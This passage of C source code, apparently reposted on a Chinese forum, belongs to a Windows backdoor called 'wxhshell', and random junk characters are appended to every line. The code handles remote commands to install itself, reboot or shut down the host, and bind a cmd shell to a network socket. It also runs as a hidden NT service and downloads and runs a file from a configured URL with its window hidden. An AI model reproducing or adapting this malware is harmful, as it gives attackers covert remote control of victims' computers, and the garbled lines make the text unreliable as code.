  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hqPn~Tq  
  } 5o/rV.I  
  else { q1y4B`  
"ivqh{ ,  
    switch(cmd[0]) { l+6(|"md  
  (=j!P*  
  // 帮助 w^gh&E  
  case '?': { d%3BJ+J  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ie"R,,c   
    break; (4LLTf0  
  } 8;8}Oq  
  // 安装 d3GK.8y_z  
  case 'i': { meR2"JN'  
    if(Install()) M lFvDy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jGn^<T\  
    else nlW&(cH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `?x$J 6p  
    break; dK: "  
    } e`r;`a&  
  // 卸载 {P&^Erx  
  case 'r': { Zi)b<tM q  
    if(Uninstall()) a"}#HvB+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AX+d?M  
    else zwtsw[.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]B4mm__  
    break; UD{/L"GG  
    } OX4D'  
  // 显示 wxhshell 所在路径 )*ckJK  
  case 'p': { =]e^8;e9  
    char svExeFile[MAX_PATH]; +pvJ?"J  
    strcpy(svExeFile,"\n\r"); M>@R=f  
      strcat(svExeFile,ExeFile); W1 Qc1T8  
        send(wsh,svExeFile,strlen(svExeFile),0); >nQ yF  
    break; {M/c!  
    } / JB4#i7  
  // 重启 )*h~dx_cm  
  case 'b': { 9#ft;c  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $x;h[,y   
    if(Boot(REBOOT)) $sZHApJV+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *a!!(cZZ  
    else { dn_OfK  
    closesocket(wsh); 8n5nHne  
    ExitThread(0); aUK4{F ;  
    } tY=%@v'6?  
    break;  c^s>  
    } ,rQ)TT  
  // 关机 x-&v|w'  
  case 'd': {  2p>SB/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y)}%SP>,  
    if(Boot(SHUTDOWN)) .E#Sm?gK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5Q`n6x|  
    else { (JW?azU  
    closesocket(wsh); -P>=WZu  
    ExitThread(0); :-La $I>  
    } fhKiG%i'l  
    break; .To:tN#  
    } <C;> $kX  
  // 获取shell sdYj'e:N  
  case 's': { aG_O N0g  
    CmdShell(wsh); :)95 b fa.  
    closesocket(wsh); mwH!:f  
    ExitThread(0); 1Uk~m  
    break; @T1+b"TC  
  } Z&jb,eh2  
  // 退出 '-33iG  
  case 'x': { h;qy5KS  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m,C,<I|'d  
    CloseIt(wsh); E5G"QnxR>N  
    break; vUe *  
    } I0+wczW,^  
  // 离开 1xAFu+  
  case 'q': { PMhhPw]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1Dp @n  
    closesocket(wsh); P 4*MV  
    WSACleanup(); wI@I(r~ g  
    exit(1); ]^jdO##M  
    break; u# WTh%/  
        } 917 0bmr  
  } ,M.!z@  
  } qlITQKGG  
: 5<9/  
  // 提示信息 [ 5 2zta  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P3tG#cJ  
} U!?gdX  
  } 5}bZs` C  
D%UZ'bHN*  
  return; q|i%)V`)-  
} $?J+dB  
fTV|? :C{  
// shell模块句柄 92]ZiL?k  
int CmdShell(SOCKET sock) _T|H69 J  
{ {lTxB'W@d  
STARTUPINFO si; $>"e\L4Kp  
ZeroMemory(&si,sizeof(si)); `1bX.7K43  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bro  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x X/s1(P  
PROCESS_INFORMATION ProcessInfo; IAF;mv}'  
char cmdline[]="cmd"; Secq^#]8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .um&6Q=2<  
  return 0; ^qGA!_  
} X";Z Up  
E<Dh_K  
// 自身启动模式 6QLQ1k`  
int StartFromService(void) _gm?FxV:  
{ BBR" HMa4  
typedef struct )w2K&Zr0  
{ =Y/fF  
  DWORD ExitStatus; pq[X)]z|  
  DWORD PebBaseAddress; u}}9j&^Xa  
  DWORD AffinityMask; Z%5nVsm:G  
  DWORD BasePriority; g:DTVq  
  ULONG UniqueProcessId; yvd `nV  
  ULONG InheritedFromUniqueProcessId; T3 9C lH  
}   PROCESS_BASIC_INFORMATION; y (nsyA  
VP %i1|XZJ  
PROCNTQSIP NtQueryInformationProcess; %7v@n+Q  
kg: uGP9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9#&W!f*qO|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l^ 0_> R  
hzQ+9-qA  
  HANDLE             hProcess; /}$T38  
  PROCESS_BASIC_INFORMATION pbi; xshAr J&A  
8VuZ,!WH#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); l{6` k<J(  
  if(NULL == hInst ) return 0; =,4 '"  
b-BM"~N'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o)#q9Vk%b  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Seq]NkgY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i#RElH  
P}hY {y'  
  if (!NtQueryInformationProcess) return 0; w3<"g&n|  
~mK-8U4>K,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +~ 3w5.8  
  if(!hProcess) return 0; NSS4v tA  
sB( `[5I  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s[3![ "^Y  
3WCqKXJ7  
  CloseHandle(hProcess); jF2[bzY4  
hqs$yb  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >v1 y0zx  
if(hProcess==NULL) return 0; }KA-t}8  
T)(e!Xz  
HMODULE hMod; @P_C%}(<  
char procName[255]; j,=*WG  
unsigned long cbNeeded; ?""\  
F_nZvv[H?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t=Z&eKDC  
w|}W(=#  
  CloseHandle(hProcess); `10X5V@hP  
E kBae=  
if(strstr(procName,"services")) return 1; // 以服务启动 /&]-I$G@  
Gefnk!;;  
  return 0; // 注册表启动 {_zV5 V  
} =[P%_v``  
~V2ajM1Z&O  
// 主模块 4= Tpi`  
int StartWxhshell(LPSTR lpCmdLine) 5S%C~iB  
{ D3S+LV  
  SOCKET wsl; 3@^>#U   
BOOL val=TRUE; -G],H)M  
  int port=0; gX@nPZjg  
  struct sockaddr_in door; G la@l<  
pbDw Lo]  
  if(wscfg.ws_autoins) Install(); xH<'GB)  
+{xMIl_  
port=atoi(lpCmdLine); G{kj}>kS_  
^:4L6  
if(port<=0) port=wscfg.ws_port; (Sth:{;  
H>?:U]  
  WSADATA data; J>=1dCK  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; k42b:W5%  
Es'-wr\Hm  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   e'1 ^+*bU  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  Y*@|My`  
  door.sin_family = AF_INET; !8xKf*y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); zmf"I[)  
  door.sin_port = htons(port); /Hv* K&}M  
,b<9?PM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { of8mwnZR  
closesocket(wsl); <ROpuY\!l  
return 1; cMDRWh  
} Ia=_78MgZ  
<S]KaDu^  
  if(listen(wsl,2) == INVALID_SOCKET) { umQi  
closesocket(wsl); ?}vzLgp  
return 1; Z)mX,=p  
} v9%nau4  
  Wxhshell(wsl); yp=|7  
  WSACleanup(); pC*BA<?Rg  
^ED"rMI  
return 0; dh&W;zs  
2m_'z  
} 1"}B]5!  
br0u@G  
// 以NT服务方式启动 tM&n3MWQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \n#]%X5c  
{ Hqvc7-c6  
DWORD   status = 0; >b>M Km>q  
  DWORD   specificError = 0xfffffff; PzjaCp'  
Ptx,2e&Hq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [%)@|^hw91  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; * [tc  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6|,e%  
  serviceStatus.dwWin32ExitCode     = 0; <tFSF%vG=  
  serviceStatus.dwServiceSpecificExitCode = 0; @l'G[jN5  
  serviceStatus.dwCheckPoint       = 0; bE?'C h  
  serviceStatus.dwWaitHint       = 0; UqN{JG:#.  
\V= &&(n#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N~;*bvW{  
  if (hServiceStatusHandle==0) return; 6sPk:5  
\e<mSR  
status = GetLastError(); T^~)jpkw  
  if (status!=NO_ERROR) <eY %sFq,  
{ 75ZH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; cVp[ Z#B  
    serviceStatus.dwCheckPoint       = 0; *4t-e0]j@w  
    serviceStatus.dwWaitHint       = 0; k({2yc#RD&  
    serviceStatus.dwWin32ExitCode     = status; q(IZJGb  
    serviceStatus.dwServiceSpecificExitCode = specificError; :$=|7v  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); - %|P  
    return; }sv!=^}BY3  
  } h40'@u^W  
a mqOxb  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {>@QJlE0  
  serviceStatus.dwCheckPoint       = 0; || [89G  
  serviceStatus.dwWaitHint       = 0; }'%^jt[3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6/| 0+G^  
} 6O9iEc,HM  
czI{qi5N  
// 处理NT服务事件,比如:启动、停止 mj@31YW  
VOID WINAPI NTServiceHandler(DWORD fdwControl) XYjcJ  
{ IAf$]Fh  
switch(fdwControl) ~\$=w10  
{ Jen%}\  
case SERVICE_CONTROL_STOP: PWvSbn6  
  serviceStatus.dwWin32ExitCode = 0; D9.`hs0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; QC{u|  
  serviceStatus.dwCheckPoint   = 0; |8H_-n  
  serviceStatus.dwWaitHint     = 0; 2{-!E ^g  
  { Edw2W8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QBoFpxh=  
  } Pp+~Cir  
  return; g<$. - g  
case SERVICE_CONTROL_PAUSE: (? \?it-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; o~#f1$|Xn  
  break; y}N&/}M:}8  
case SERVICE_CONTROL_CONTINUE: S ZlC4=6c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1Dq<{;rWb  
  break; bhD ~ 4Rz  
case SERVICE_CONTROL_INTERROGATE: Ry z?v<)h  
  break; +3;Ody"59  
}; g:_hj_1Y M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }B0sC%cm  
} rfs(#  
 GP+2/D  
// 标准应用程序主函数 TnNWO+ kg  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) HY;9?KJ'  
{ .k@^KY  
gfde#T)S  
// 获取操作系统版本 ?`"n3!>bS  
OsIsNt=GetOsVer(); 8Atq,GcG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H<`\bej,  
&vkjmiAS  
  // 从命令行安装 ;L~p|sF  
  if(strpbrk(lpCmdLine,"iI")) Install(); }3Y <$YL"R  
_A{+H^,  
  // 下载执行文件 ZQAO"huk]  
if(wscfg.ws_downexe) { :"<e0wDu[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @'i+ff\  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;F5"}x  
} R)oB!$k  
*%\mZ,s"  
if(!OsIsNt) { S/4r\6  
// 如果时win9x,隐藏进程并且设置为注册表启动 @vRwzc\   
HideProc(); ]78!!G[`  
StartWxhshell(lpCmdLine); r|GY]9  
} W;zpt|kAH  
else XA<ozq'  
  if(StartFromService()) XJgh>^R^  
  // 以服务方式启动 h?Nek+1'  
  StartServiceCtrlDispatcher(DispatchTable); >{5 p0  
else \\:|Odd  
  // 普通方式启动 &nY;=Hv`WY  
  StartWxhshell(lpCmdLine); r\2vl8X~  
7 Wl-n  
return 0; ~$<UE}qp  
}
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只看该作者 1 发表于: 2006-10-10
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